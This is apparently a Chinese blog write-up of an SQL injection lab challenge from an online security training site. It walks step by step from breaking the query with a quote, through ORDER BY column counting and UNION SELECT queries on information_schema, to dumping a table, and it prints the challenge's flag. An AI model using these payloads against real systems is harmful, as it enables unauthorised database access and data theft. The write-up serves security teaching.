美文网首页CTFCTF
[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境

[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境

作者: 王一航 | 来源:发表于2016-10-01 07:02 被阅读1790次

题目链接:


题目索引第二关


分析:

  1. 打开链接 , 如下图所示 :
Paste_Image.png
  1. 查看源码发现如下图 :
Paste_Image.png
  1. 尝试发送GET请求 :
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

发现内容还是和第一次进入的时候相同 , 说明第一次进入的时候默认参数为 : id = 1

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=2

![Paste_Image.png](https://img.haomeiwen.com/i2355077/f6138563cfe2bfd1.png? imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=3
Paste_Image.png
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=4
Paste_Image.png

发现当id = 4的时候内容为空了 , 说明可能这个表里面只有三行数据 , 但是在当 id = 3 的时候 , 文章内容为 : "flag就在这个表里" 说明这个表中的数据肯定不止三行 , 所以可以考虑写一个爬虫来遍历 id , 不过这样也就违背了这道题的初衷 , 而且 , 猜测出题人为了防止爬取 , 会把 flag 的 id 设置的很大 (注入成功后也证实了这一点)

  1. 常规的套路 , 在URL中加 ' 破坏SQL语句的完整性
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%27
Paste_Image.png

报错了 , 说明我们的思路还是正确的 , 我们可以猜测这道题的PHP代码大概应该是这样的 :

$sql = "select * from 表名 where id = '".$_GET['id']."'";
mysql_query($sql);
  1. 再试试添加注释 , 将SQL语句后面的无用的部分注释掉
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%27--+

发现还是报错 , 去掉 id=1 后面的 ' , 成功了 , 说明我们刚才猜测的SQL语句还是有点问题 , id 这个变量并没有被单引号括起来 , 就是没有经过任何修饰传入

  1. 现在正式开始利用 :
  • 猜测列数 :
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%2010--+
报错 , 说明列数小于10
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%205--+
报错 , 说明列数小于10
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%203--+
正常 , 说明列数大于等于3
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%204--+
报错 , 说明列数小于4
  • 猜测被 echo 出来数据是表的哪一列 , 以便以后猜测 : 库名 / 表名 / 字段
?id=-1 union select group_concat(SCHEMA_NAME),2,3 from information_schema.SCHEMATA--+
说明第一列数据并没有被显示出来
![Paste_Image.png](https://img.haomeiwen.com/i2355077/bd40592183920671.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
?id=-1 union select 1,group_concat(SCHEMA_NAME),3 from information_schema.SCHEMATA--+
说明第二列可以被显示出来
Paste_Image.png
?id=-1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+
说明第三列也可以被显示出来 , 猜测表结构应该是 : id , title , content
Paste_Image.png
  • 猜测 mydbs 库中的所有表名 :
?id=-1 union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA = 'mydbs'--+
说明有 sae_user_sqli3 这个表 , 这个表名也和题目名称 SQLi3_article 相互吻合
Paste_Image.png
  • 继续猜测这个表中的字段 :
?id=-1 union select 1,group_concat(COLUMN_NAME),3 from information_schema.COLUMNS where TABLE_NAME = 'sae_user_sqli3'--+
发现结果也和我们之前预料的差不多
Paste_Image.png
  • 继续获取数据 :
?id=-1 union select 1,group_concat(content),3 from sae_user_sqli3--+
得到的结果也可以说明 : 这个表中的数据不止 3 行 , 成功拿到Flag , 我们在来看看Flag这一行的 id 是多少 ? 
Paste_Image.png
id = 12999 , 这个要是写爬虫跑也得跑好长时间呢 , 还是注入实在
Paste_Image.png

答案:
HKGGflagdfs56757fsdv


知识点:

  1. SQL注入
  2. SQL语句
  3. PHP常识

相关文章

网友评论

本文标题:[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境

本文链接:https://www.haomeiwen.com/subject/boeryttx.html